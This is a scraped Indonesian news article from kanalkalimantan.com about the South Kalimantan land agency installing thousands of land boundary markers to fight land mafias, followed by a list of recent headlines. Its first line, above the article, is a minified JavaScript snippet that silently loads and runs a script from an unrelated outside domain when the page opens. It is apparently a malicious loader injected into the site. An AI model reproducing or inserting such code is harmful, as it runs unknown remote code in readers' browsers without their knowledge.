(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Pasang Ribuan Patok Tanah, Kiat Lawan Mafia Tanah di Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Ribuan patok tanah dipasang oleh Kantor Wilayah Badan Pertanahan Nasional (BPN) Provinsi Kalimantan Selatan (Kalsel).

Pemasangan ribuan patok ini diperuntukkan guna mendukung Gerakan Masyarakat Tanda Batas (Gemapatas) sebanyak 1 juta patok sebagai upaya meningkatkan kesadaran untuk menandai tanah miliknya.

Di Kalimantan Selatan, tiap-tiap Kantor BPN kabupaten/kota menyiapkan 1.000 patok batas tanah untuk ditanam di tanah-tanah milik warga.

Kepala Kanwil BPN Kalsel, Alen Saputra mengatakan pemasangan patok pada sebidang tanah ini dilakukan seluruh Indonesia yang pusatnya di Kabupaten Cilacap.

 

 

Baca juga: Traffic light Bundaran Km17 Gambut Resmi Beroperasi, Simak Aturannya

Untuk di Kalsel, dilaksanakan di Kelurahan Palam Kota Banjarbaru, Jumat (3/2/2023).

“Dengan penanaman patok bidang tanah ini, dapat mengurangi sengketa tanah,” ujarnya.

Diungkapkan Alen, penanaman ini ditargetkan 1 juta patok batas tanah, untuk mendapatkan rekor dari MURI, namun dalam kenyataannya penanaman patok batas tanah ini dapat melebihi yanh diperkirakan.

Gemapatas ini dicanangkan sebagai gerakan melawan mafia tanah yang sering mengganggu warga masyarakat.

Menurut Alen, mafia tanah seringkali hadir memanfaatkan kekaburan dan ketidakjelasan batas-batas kepemilikan tanah.

Baca juga: Pemkab Banjar Berkomitmen Implementasi Manajemen Risiko

“Kalau benar-benar dijaga tanda batasnya otomatis mafia tanah pasti tidak akan bisa,” tegas dia.

Sementara itu, Gubernur Kalsel, Sahbirin Noor melalui Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Setdaprov Kalsel, Nurul Fajar Desira sangat mengapresiasi langkah Kementerian BPN/ATR terkait program ini.

“Dengan adanya program ini, dapat mengurangi konflik di lingkungan masyarakat terkait pertanahan,” sebutnya.

Dia berharap, untuk BPN se Kalsel, pemasangan patok tanda batas tanah ini tidak hanya terbatas 1.000 patok saja. Akan tetapi, pemasangan terus dilanjutkan di masyarakat.

“Dengan adanya program ini dapat memberikan kepastian hukum buat pemilik lahan,” pungkas dia.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: Dhani


Al Ghifari

Recent Posts

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

35 menit ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

13 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

13 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

13 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

20 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

22 jam ago

This website uses cookies.